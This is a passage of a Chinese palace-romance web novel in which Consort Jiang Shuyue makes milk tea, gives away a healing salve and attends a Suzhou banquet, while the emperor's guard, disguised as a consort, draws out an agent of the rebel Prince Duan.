姜舒月想着自己下了船之后,就没有那种晕眩恶心的感觉了,也很想去看看。 “陛下,嫔妾已经好了,”她双手环住他脖颈,“您就让嫔妾一同前去吧。” 贺云徽仔细地端详她的脸,“真无需休息?” “嗯!” 他无法,点头,“那便去吧,若有不舒服及时告诉朕。” “谢陛下!” “你好好休息,朕今晚要处理一些公务,就不过来了。”贺云徽本来还有公务,要马上处理,但心里还是想着要来看看她。 “你们伺候好姜嫔,药也要盯着她喝了,不可让她又倒了。” “是,奴婢遵旨。” 当他不知道,这小人儿经常阳奉阴违,仗着自己看不见就不喝药。 被人抓到的姜舒月也不尴尬,耍无赖般地嘟囔着,“陛下,嫔妾都好了才不喝药的,哪有经常倒掉……” 贺云徽才不信,又叮嘱着让人看着她,不要太过贪凉。 摸了摸她的脸,转身踏出了海棠苑。 不一会,福禄捧着一套衣裳和头面,“姜嫔娘娘安,陛下命奴才给您送明日的衣裳和头面。” 不得不说,贺云徽现在对姜舒月的喜欢拿捏得很准。 知道她就喜欢这些东西,总是时常送来一些首饰。 托盘里是一件银丝锦绣百花裙,以银丝绣制而成的,流光溢彩的,裙摆是上绣了不同的花。 头面是一套银丝掐丝嵌镶宝石头面,别致特殊。 和衣裳配成了一套。 “这是陛下到了苏州之后,特意命下面的人去寻来的,只此一套。” 福禄挑着好听的话说了,姜舒月自然喜欢得不得了。 “有劳公公。”扶风往他手里塞了一个荷包,“公公拿着吃茶。” “对了,福安公公伤势可好些了?” 姜舒月好些天没见到福安了。 福安受罚这事她也是知道一些的。 上次因着自己的计谋,倒牵连了无关的人。 本来当日就想给他送药的,无奈自己生病了,折腾两日,才有空。 “谢姜嫔娘娘关心,师傅他老人家已经好了许多了,只是伤筋动骨一百天,如今也是将养着。” 姜舒月点点头,招手让明夏拿着一罐药膏过来。 “这是我的一点心意,你拿回去给福安公公吧。” 这药膏是她上次开锦囊开出来的【玉髓生肌膏】,看简介说明,涂抹在伤口上,能迅速止血、止痛,促进伤口愈合,且不会留下疤痕,只需三次,便可恢复行动,无后遗症。 正适合现在的福安使用。 福禄受宠若惊地接过,“奴才代师傅,谢姜嫔娘娘。” 姜舒月摆摆手,福安也是因为自己才遭罪的,不补偿点,她心里过意不去。 “东西送过去了?”贺云徽手执毛病,在宣纸上写着。 福禄俯身,“回陛下,已经送过去了。姜嫔娘娘记挂师傅伤势,还送了一瓶药膏。” 他想了想,还是把这件事告诉贺云徽了。 贺云徽挑了挑眉,“哦?” 手继续在纸上写着。 “即是姜嫔所赐,就带去给福安吧。” “是,奴才告退。” 贺云徽将那日岳答应说的话,又细细想了一番。 那封信本来就出现的蹊跷。 当日他就有些怀疑,是否出自姜舒月之手。 后来却是想差了,以为岳答应是看到了姜舒月给自己的信,私下找人写的。 现下又送了药膏过来…… 如此看来,倒不尽然了。 这一招借刀杀人,用得不错。 无声地笑了笑,继续批阅奏折。 姜舒月还不知道自己送出去的药膏,让自己的计谋全都露光了。 这会用完了膳,正邀了方静姝陈婕妤两人过来打牌。 只是光打牌,又觉得嘴巴寂寞了些。 有点想喝奶茶了…… 招来静玉,跟她说了奶茶的制作方法,去后面膳房让人照着做出来。 要是能做出芋园,再来点冰块。 简直不要太爽。 “奶茶?”陈婕妤抬眼看向姜舒月,“那是何物?” “只是一种饮子,待会做好了让陈姐姐尝尝。” 不出半个时辰,静玉就拎着一个食盒回来了。 还未打开,就先闻到了茶香和奶香。 将食盒置在一旁的案几上,静玉端出几个碗,里面盛的浅褐色的液体。 分别放在几位主子手边。 “这味道闻着如此香甜,”方静姝深嗅,这气味让人有些欲罢不能。 “快,都尝尝。”姜舒月已经迫不及待了,拿起一碗,喝了一口。 嗯,香香甜甜的。 陈婕妤也拿起来喝了一口,“我从来没有喝过这种味道的饮子,确实香甜。” “这叫什么?奶茶?”她好奇地看着碗里的液体。 姜舒月点点,“这做法很是简单,若是陈姐姐喜欢,一会我告诉你怎么做。不过这饮子易胖人,不可多喝。” 不知道云朝什么样,但是看着满皇宫的妃子基本都是苗条有致弱柳扶风的样子。 可能也跟现代的女生一样,喜欢自己身材苗条一些吧。 陈婕妤没有那样的顾虑,点点头,“那就多谢啦。” 姜舒月看了一下,分给她们几个之后,还剩了一碗。 “静玉,这碗加点冰,送去龙吟阁给陛下。” 静玉福身应是。 看几个丫鬟太监们,也好奇地样子,姜舒月又笑道:“回头去膳房,让他们再多做点让你们尝尝。” “谢娘娘!” 嘴巴也不寂寞了,三人又继续开始打牌。 龙吟阁和海棠苑离得也不算特别远,溜达的功夫就到了。 “福明公公,我家娘娘做了份饮子,让奴婢送来给陛下尝尝。”静玉微微屈膝,给福明行了一个半礼。 福明笑着说道:“这会陛下还在处理公务,待奴才进去通传一声。” “陛下,姜嫔娘娘做了份饮子,命静玉姑娘送来给陛下尝尝。” 贺云徽抬头,“姜嫔?让她进来。” 福明应是,转身去请静玉。 “奴婢静玉,给陛下请安。” “起吧,你家娘娘今日又让你送什么东西来了?” 静玉起身,将食盒放在一旁的案几上,掀开盖子,拿出一碗浅褐色的液体。 “陛下,这是娘娘吩咐下来做的饮子。天气炎热,娘娘特意叮嘱给您加了些冰块,让奴婢送来给您尝尝。” 瓷碗里,漂浮着几块未化的冰块,冒着丝丝凉气,看着就清凉解暑。 “是用茶叶和鲜牛乳,加了少许糖做的。” 贺云徽第一次接触这种饮子,拿过来喝了一口。 入口顺滑,茶香和奶香融合得很好,还有一股焦香味。 “不错,回去告诉你家娘娘,朕很喜欢。” 随手又赏了几样首饰,让静玉带回去给姜舒月。 静玉高兴地谢了恩。 “你说姜舒月给陛下送吃食了? 第101章 前往赴宴 尹宝林虽然现在位份不高,但是因为她是现在随行的妃子里唯一一个怀孕的,底下也有人特意讨好。 总是会来跟她说一些探听到的消息。 这不,姜舒月前脚让静玉去送了饮子。 后脚就有人来告诉了尹宝林。 “那陛下是何态度?”尹宝林揪着帕子,脑子里想到了之前自己给贺云徽送汤那次。 底下跪着的人支支吾吾,“陛下……陛下说很是喜欢。” “啪——”尹宝林气得将桌子上的茶杯扫到地上。 下面跪着的人吓得一个激灵。 豆蔻见状,赶紧拿出一锭银子,塞给那人打发她出去,“多谢姐姐,辛苦了。” 随后给门关上,“娘娘,您莫要动气。” “一个姜嫔一个霜贵人,都跟我过不去!”她一想到这两人,就恨不得撕烂她们的脸。 “娘娘,您如今养好身体才是最重要的。她们就算再受宠,没有孩子不也一样无用。” 尹宝林自己过不去自己心里那道坎,总觉得自己没有被贺云徽放在心上。 就连自己亲自送去的羹汤,也被贺云徽拒绝。 姜舒月连人都没去,只是打发了自己的婢女送去,陛下就收下了。 这让她怎么也咽不下这口气。 她摸着自己的肚子,喃喃自语道:“你一定要是个皇子,一定。” 姜婉清和兰昭容那边也都收到了消息。 “娘娘,您也该在陛下面前表示一番,”清姿听了消息之后,有些忿忿,“陛下都多久没来看您了。” 她是真的提兰昭容担心,宁华公主也三岁了。 娘娘却始终没有再怀过孕。 如今她膝下只有一个公主,总归是不行的。 兰昭容听了倒是笑了笑,“陛下是个大活人,他的想法谁又可以去左右呢。” 这辈子能守着宁华,将来给她择一好驸马,就够了。 “本宫有宁华就够了。”兰昭容她母家本就一般,她也没有那些争夺的心思。 “你们也不要在宁华面前说起这些,不然休怪本宫处置你们。” 清姿清露自然知道自家主子说一不二的性子,对视一眼后,都低头应是。 “陛下,”淡月从龙吟殿侧面进入正厅,“今日申时,属下收到那人送来的飞鸽传书。” 说着掏出一封信,恭敬地递给贺云徽。 贺云徽眉头微皱,接过密信细细看过,眼神中闪过一丝冷厉。 沉思片刻后,他缓缓开口道:“既然他们想要消息,那朕便给他们一份。” “明日你给他回信,就说五日后,朕会带着妃子们,微服去苏州城外的寒山寺祈福,身边只带少量护卫。” “若是端王想要借机想要行刺,必然会在寒山寺进行埋伏,让下面的人盯紧了。” 淡月抱拳,“是,属下遵旨。” 姜舒月之前在船上难受了两三天,晚上在舒适的环境下休息,难得的睡了个好觉。 第二天还起了一个大早。 梳洗了之后,换上了昨日贺云徽送来的裙装。 裙身以素锦为底,银丝穿梭其间,绣就姿态万千之百花。 行走时裙摆微曳,似花浪翻涌,风姿绰约,尽显芳华。 高高挽起的发髻上,戴着那套银丝掐丝嵌镶宝石头面。 眉目精致绝美,一双桃花眼顾盼生辉,带着几分慵懒和妩媚,肤如凝脂吹弹可破,朱唇粉嫩。 “娘娘,您今日可真美。”扶风不由得看得呆住。 “娘娘,马车已经备好了,该出发了。”小方子进来禀告。 姜舒月点点头,为了以防万一,还是叮嘱了静玉和小路子在海棠苑守着。 出了行宫一看,姜婉清等人也都陆续到了。 “给几位娘娘请安。” 她上前行礼。 “妾身给姜嫔娘娘请安。”几个地位份的也过来给姜舒月见礼。 尹宝林四周环顾了一下,今日还是没有看到那霜贵人,难不成是跟着陛下一起去州衙了? 真真是狐媚子一个! 又见姜舒月打扮的十分出挑,心里轻蔑地冷哼。 以色侍人难以长久,她倒要看看她俩可以得宠到几时。 “月儿今日这身装扮,甚美。”姜婉清看她的装扮,点点头。 “姐姐莫要取笑嫔妾了,”她故作羞涩的别过头去,“姐姐今日才是光彩照人。” 一袭淡紫色的轻纱裙宫装,五官本就精致,上挑的凤目明艳,肤白胜雪。 姜婉清听了笑笑,去了最前头的马车。 兰昭容带着宁华公主,也跟着过去。 冲着姜舒月点了点头,陈婕妤上了第三辆马车。 方静姝在的马车在后面,姜舒月隔着人群也跟她打了个招呼。 尹宝林见状,又冷哼一声。 自从被何御女欺骗之后,她就知道,宫中不会有真正的朋友。 所有人的友谊都是建立在利益上的。 一旦挡了谁的路,就会毫不犹豫的抛弃对方。 姜舒月可没心思去管她是怎么想的。 听说为了办接风宴,苏州刺史还特意装扮了一番花园,又请了一些名厨来。 姜舒月已经开始期待起来了。 半个时辰之后,马车便停了下来。 姜舒月掀开帘子一看,门口很是热闹。 停满了马车,都是江南这边官吏的夫人们。 “娘娘到了,该下马车了。”小方子掀了挂帘,将姜舒月搀扶下来。 今天能来的夫人们,都是叫的上号的。 其中就有武安侯夫人李氏,江州刺史夫人钱氏和苏州刺史刘氏。 “臣妇给各位娘娘,宁华公主请安,娘娘、公主万安——” 看到姜婉清一行人下了马车,呼啦啦地直接跪了一地。 “都起来吧,”她现在颇具上位者的威严,“无需太过拘礼,今日也是为了给我们接风洗尘,太紧张反而不美,都随意些。” 客套话而已,夫人们自然不会当真。 嘴里说出的是谢恩,行为上反倒会更加的谨慎。 “以往总觉得自己见过大世面,今日得见几位娘娘才知道,自己真是坐井观天了。” 这就有人开始拍马屁了。 “几位娘娘真是天人之姿,比那话本上的仙女还好看。” “这可是宁华公主,哎呀真是长得玉雪可爱。” 武安侯夫人紧接着说:“娘娘们请先进园子里吧,如今江南正是花开的好时节,园子里可有不少珍奇的花卉。” “正是呢,”钱氏也附和着,“看过美景,待会才更有食欲。” 一行人有说有笑的,倒是十分和谐。 苏州刺史早就打听到,随性的妃子里有一位还有身孕,故而把一些孕妇无法闻的花给撤了下去。 所以尹宝林在进入园子的时候,并没有闻到令她不适的香味。 贺云徽还在衙内接见大臣们,所以一行人都只能先在园子里稍作休息。 姜舒月和方静姝拉着一旁百无聊赖的陈婕妤,找了一个人少的地方,一起坐着。 很快就有丫鬟端着精致的点心和茶水过来。 尹宝林因为有孕,她的茶水被换成了温水。 “南方的花园果然不同凡响,处处都透着精致。” 方静姝一路走来,看到了不少在北方千金难求的花卉。 在南方却是普遍的样子。 陈婕妤喝了一口茶,懒洋洋地说道:“也就这点好了,不然南方又湿又热的,还真不如北方舒服。” “陈姐姐是没适应,”姜舒月也喝了口茶,“南方气温适宜,比较适合居住。” “北方冬天实在太冷了。” 她实在是太怕冷了,在现代的时候自己就十分畏寒。 不知道这书里的北方,是不是跟现代一样。 “听说尹娘娘如今已经怀有身孕四月了?” 第102章 盛宠霜贵人 园子里蓦地静了下来,都看向了尹宝林。 她第一次受到如此瞩目的视线,突然有些得意 暗暗地瞥了一眼姜舒月,挺了挺胸膛。 “嗯,”她嘴角挂着一抹幸福的微笑,“已四月有余了,只是如今孕吐得厉害。” 那问话的夫人恭维着,“臣妇之前怀孕的时候,也是如此,需得好好补充营养才是。” 尹宝林颔首。 说到孩子,几位已有子嗣的夫人也都打开了话匣子。 “不过这孩子呀,前四五岁的时候那真真是可爱,到了六岁,哎呀那调皮捣蛋的呀~” 在场有不少都是跟着夫人来的少夫人们,很多都还没生子,也都好奇的和尹宝林聚在一起听。 “可是听说,生孩子很痛诶。”说话的是江州刺史的儿媳,刚刚成婚没多久。 脸上还带着初为人妻的羞涩。 她婆婆钱氏是她的表姨,闻言爱怜地摸了摸她的头。 “生孩子都会有这么一遭的,”她的眼神飘远,似是在回忆着什么,“等到你生下孩子,你就知道,这个世界上,有那么一个人,跟你血脉相融,你会愿意为了他去做一切事情。” 这话说的很多人都动容了。 宁华公主听见了,好奇地抬头问兰昭容:“母妃,宁华出生的时候,母妃是不是也很痛呀?” 兰昭容温柔地看着她,“是很痛,但是母妃把你生出来之后,看到你就不痛了。” 那个时候宁华还是小小的一个,兰昭容痛了一天一夜,才把她生下来。 所有的痛苦,都在生下她,看到她的那一刻,都消失了。 尹宝林更是低下头,眼神里充满了母爱之光,慢慢抚摸着自己的肚子。 “真是让她给装上了。”姜舒月嘀咕了一句。 “姐姐你说什么?”方静姝只听的她说了句话,却没听清楚。 陈婕妤哼了一声,“这宴会无聊的要死,还不如回去打牌。” 这话说的姜舒月无比认同。 宁愿回去输钱,也不愿意在这里对着这些人虚与委蛇。 嗯?呸呸呸! 她怎么能输钱,应该要赢钱才对。 相比她们三个在凉亭里冷冷清清的模样,姜婉清就自在多了。 在一众夫人中间如鱼得水,笑语晏晏地样子,果然她很适合这种名利场。 在场的夫人远离京都,就算知道一些消息,也不知道传来传去的,变成什么样子了。 都知道贺云徽很是很宠爱姜嫔娘娘,又听闻在荔平郡的时候,又收了一位花魁,只一晚上就封了霜贵人。 这位更是宠爱有加,日日都带在身边。 就连姜嫔都没有这种待遇。 而今日所有的娘娘都在了,唯独缺了那位霜贵人。 让这个传闻更多了一丝可信度。 宠爱这种虚无缥缈的东西,还远不如位份看得见摸得着的来的实在。 姜嫔又没有孩子,在场唯二有孩子的。 一个兰昭容膝下只有公主,另一个尹宝林还有一半的可能,赌她肚子里的是个男孩。 所以夫人们都自动分成了两部分。 一部分围着姜婉清,另一部分则围着尹宝林。 这反而让姜舒月三个有些自得其乐了。 “皇上驾到——”外面传来太监的唱到声。 所有人都闭上嘴巴站了起来,准备恭迎贺云徽。 贺云徽一身玄色常服,从外面步入。 有眼尖的夫人在他身后看到了一位身穿锦服的女子。 虽然没有看到脸,但是贺云徽身边没有宫女伺候,这女子只能是新晋的霜贵人。 果然盛宠。 人群中,一个夫人眼神闪了闪,又低下头去。 她眼神很奇怪,让淡月一下就注意到了这个人。 她暗暗记下了这人的长相,回头再仔细查探一番。 “见过陛下,陛下万福金安——” 一院子的人都跪了下来。 贺云徽没有停留,径直走了进去,“都起来吧。” “谢陛下——” 他看了一眼姜舒月,对上她的视线,后者偷偷地对他眨了眨眼睛。 贺云徽嘴角勾起。 “陛下,前面已经准备好了,可以开席了。” 苏州刺史关正堂在他身后说道。 “嗯,”他点头,“那就都去前厅吧。” 尹宝林想要上前,却在看到霜贵人的时候停下了脚步。 这可谓是仇人见面,分外眼红。 她赌着气,一脸愤恨地跟在其他妃子后面。 有心想要叫贺云徽看到自己生气的样子。 但如果不是因为她实在太能作妖,就凭她肚子里的金疙瘩,贺云徽不管做什么,都会优先考虑到她的。 只可惜了…… 前厅已经有不少宫女太监在一旁候着。 贺云徽坐到了上首之后,底下在此等候的官吏全都跪下行礼。 妃子们也按照位份坐了下来。 只不过霜贵人还是坐在了离贺云徽最近的位置,姜婉清见状眸光微动,却也没说什么。 在另一边坐了下来。 尹宝林还想要再争一下,被豆蔻拉了一下,示意她看姜婉清。 就连姜婉清这个位份最高的人,都退居下来坐在另一边,她也就偃旗息鼓了。 这次的接风宴办得,比上次在荔平郡还要盛大。 不仅是江南这边的大小官吏都到场了,就连场地也比观星楼要大上不少。 容纳这些人在这举办宴会是绰绰有余了。 “武安侯,徐大人,林大人,此次宴会辛苦几位了。” 贺云徽举起酒杯,“朕敬几位。” 皇帝敬酒,自然不能怠慢。 三人立刻双手拿起酒杯,“微臣分内之事,不敢言辛苦。” 苏州的菜系口味都比较清淡,还有些偏甜口。 现如今的时节,正是苏州吃蟹子的时候。 姜舒月看到肥美的螃蟹,口水都要留下来了。 明夏轻声地说:“娘娘,您还在喝药,蟹子不可食用。” 闻言她脸色立马垮了下来。 怕姜舒月胡搅蛮缠,明夏直接让一旁的宫女将蟹子撤了。 【不要啊~~尔康手.jpg】 好在没了蟹子,还有一些其他的特色美食。 也算是让姜舒月心里有了些安慰。 结果就看明夏:“这道菜不行,这个也不行,那个撤掉。” 明明刚刚还是满满当当的桌子,现在只剩了三、四道菜,就连酒也被拿走了。 姜舒月幽怨地看着明夏,“你莫不是明扒皮吧?” 扶风捂嘴偷笑,“娘娘,也是为了您好。” 姜舒月:“……” 早上出来的时候,她就没吃什么东西。 现在桌上虽然没有了那几道她最想吃的,但是其他的也能入口。 等到贺云徽敬完酒,动了第一筷。 她就迫不及待地开始吃了。 贺云徽离她不是很远,看着桌子上没有什么她不该吃的东西也就放下心来。 回头吩咐了福明给姜舒月上了一壶果饮。 也是苏州这边的特色果饮,名叫杨桃酱汁。 喝起来酸酸甜甜的,很是解腻。 姜舒月连喝了好几杯。 “母妃母妃,”宁华公主奶声奶气地喊着,“宁华想要吃那个。” 小小的手指,指向姜舒月桌子上的一碟桃花酥。 兰昭容顺着女儿的手看过去,正好与姜舒月的眼神对上。 “昭容娘娘,这碟妾已经吃过了。” 第103章 记得旧日恩情 姜舒月也不好真的给她吃,万一吃出什么问题,自己身上长满了嘴都说不清。 兰昭容自然也不会真的要,既然女儿想吃,便吩咐了清露,去膳房着人上一盘新的。 本以为这事就过去了,没想到过了一会,姜舒月就感觉到身边有人在扯自己。 低头一看,这不是宁华公主吗? 宁华公主本来长得就乖巧可爱,脸颊上还有两个酒窝,笑起来甜甜的。 她小手对着姜舒月招招手,示意她过来一些。 “姜娘娘,我可以喝一口这个吗?” 等姜舒月靠近,宁华发出了小小的气音,请求喝一口杨桃酱汁。 姜舒月一下子就被可爱到了。 宁华公主是趁着兰昭容不注意的时候,偷偷溜过来的。 看着姜舒月不停地喝着,小小的人儿有大大的疑惑,也想尝一尝。 姜舒月哭笑不得,抬头正好看着兰昭容也好笑的看着女儿,发现姜舒月的目光还对着她摇了摇头。 “公主不能喝这个。”她认真地说道。 宁华公主也不哭闹,又重复了一遍,“宁华可以。” 说完了她还瞪着大大的眼睛,眼巴巴地望着姜舒月。 大有一幅‘不给我喝就要闹了’的感觉。 姜舒月再次抬头看向兰昭容。 只见她无奈微微点头,姜舒月想了想,便让扶风另外拿了一个小杯子,给她倒了一些。 递给她时,宁华公主还很高兴地说了句:“多谢姜娘娘!” 一喝进嘴里,一张小脸瞬间皱巴成一团。 这酸度对于三岁多的小孩子来说,好像是酸了一些。 姜舒月捂着嘴巴,眼睛弯弯无声地笑着。 兰昭容就没那么多顾忌了,笑得花枝乱颤。 “母妃!”宁华公主脸上红红的,“您怎么能笑宁华!” 兰昭容点了点她的小鼻子,“你啊,说了你不能喝,是不是你自己说的你可以?” 宁华公主嘴一瘪,两颊气的鼓了起来,自顾自地坐到一边去生闷气了。 这边气氛融洽,那边就有人看不惯了。 “一个公主,有什么好得意的!” 尹宝林抚着肚子,一个两个的,都捧着。 淡月是习武之人耳朵灵敏,这声音不废什么力气就听到了。 当下皱了皱眉。 这尹宝林怎么好似斗鸡一般,看谁不顺眼都想啄两下? 陛下每天面对这样的妃子,应该比她更累吧? 突然有些怜爱陛下了。 心里盼着这次任务赶快结束,自己再也不想假扮什么劳什子的妃子了。 身后一直有道目光在注视着霜自己,她假装不经意的回头。 看到那人没来得及收回的目光。 是刚刚在园子里那个眼神奇怪的夫人。 她心思一转,起身跟贺云徽告罪。 “陛下,妾身不小心弄脏了衣物,想要回去更衣。” 贺云徽看了她一眼,他知道淡月不会无缘无故地要离席,于是关切地问道:“可需要朕派福明送你?” 一时之间,席上的人脸上表情都很是精彩。 尹宝林更是把手中的帕子当成是霜贵人,使劲地撕扯着。 “无碍,妾身去去就回。” “嗯,去吧。” 她离席之后,转了几个弯,走到院子拐角处。 果然不出一会,那位夫人也跟了出来。 这位夫人是是平江都尉的妻子陈氏,看到霜贵人正在前头不远处等她。 立刻上前,“如霜姑娘,好久不见。” 淡月摸不准这人是什么来头,只能矜持地颔首。 “听闻夫君说如霜姑娘深得宠爱,今日一见果然名不虚传,不愧为名动江南的花魁。” “夫人谬赞了,”她只能从这只言片语中,慢慢套话了,“夫人这一路来,多有关注,不知是有何指教?” 陈氏心里头是有些瞧不起这位霜贵人的。 只是夫君如今替端王办事,两方人算起来,都算是端王的人。 所以才纡尊降贵来寻她。 也是夫君让她替端王,试探一番,这如霜是否还忠于殿下。 “指教谈不上,霜贵人如今圣眷正浓,可真让人羡慕。只是贵人出身……” 她适时地停了下来,如愿看到对方脸色一变后,继续说道:“宫廷之中,风云变幻。贵人可需得小心才是。” 说着,她还轻轻地叹了口气,似有深意地看向对方。 淡月心中警惕,顺着她的话说道:“夫人所言极是,那依夫人只见?” 陈氏见她面露难色,又凑近了一些,压低声音,“贵人想必也知道,这世间之事,唯有靠山稳固,方能长久。不知贵人心中,可还有……” 话未全说出口,淡月就已经全然明白她此行跟出来的目的了。 原来是怕如霜攀上皇帝,出卖旧主。 她立刻做出一副紧张的样子,左右看了一遍,确定没有人之后,才垂下眼眸,轻声说道:“夫人,有些话,在这不可乱说。只是我心中,自然是记得旧日恩情的。” 陈氏闻言,眼里闪过一丝满意,笑道:“贵人是聪明人,自是不会忘了自己的出身。如今形势复杂,贵人若能一如既往,将来定有好处。” 看了这么几天后宫女子,她好似也对演戏这方面开窍了一般。 立刻喜出望外,“果真?!殿……果真还记得我?!” 陈氏自然点头表示确定。< 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福禄倒了杯温蜜水给他,喝下之后才感觉舒服了一些。 他捏了捏眉心,“吩咐下去,让他们自便吧。” 这意思就是可以准备散了。 大臣们都纷纷过来告辞,见贺云徽微阖的眼,也就没再多说别的。 毕竟往后还有一个月的时间可以说,不急于一时。 姜舒月也在扶风明夏的伺候下,准备离席。 众人也都拜别了嫔妃们。 小方子一直在外待着,看着姜舒月出来了,立刻撩起挂帘,“娘娘小心。” 等到前头贺云徽也上了马车之后,才晃晃悠悠地朝行宫驶去。 姜舒月在后面的马车内并没有看到外面的场景。 只是下了马车后,在海棠苑门口看到了福明。 “姜嫔娘娘,陛下今日歇在海棠苑。” 她点点头,进入内室后,在内室的榻上看到了醉酒的贺云徽。 束起的墨发此刻有几缕松散地垂落在脸颊两侧,为那如刀刻般俊朗的面容添了几分随性于不羁。 剑眉微微蹙起,在醉意的渲染下多了点令人怜惜的意味。 双眸半阖,原本沉静的眼眸此刻蒙上了一层雾气,眼神似有若无的流转。 身上的衣袍被他扯散开来,隐隐可见紧实的胸膛线条,一只脚曲起踩在榻上,一只手随意搭在曲起的膝盖上。 修长的手指有一下没一下地轻敲着。 听到姜舒月进来的声音,他睁开双眼。 对着她伸出另一只手。 “过来。”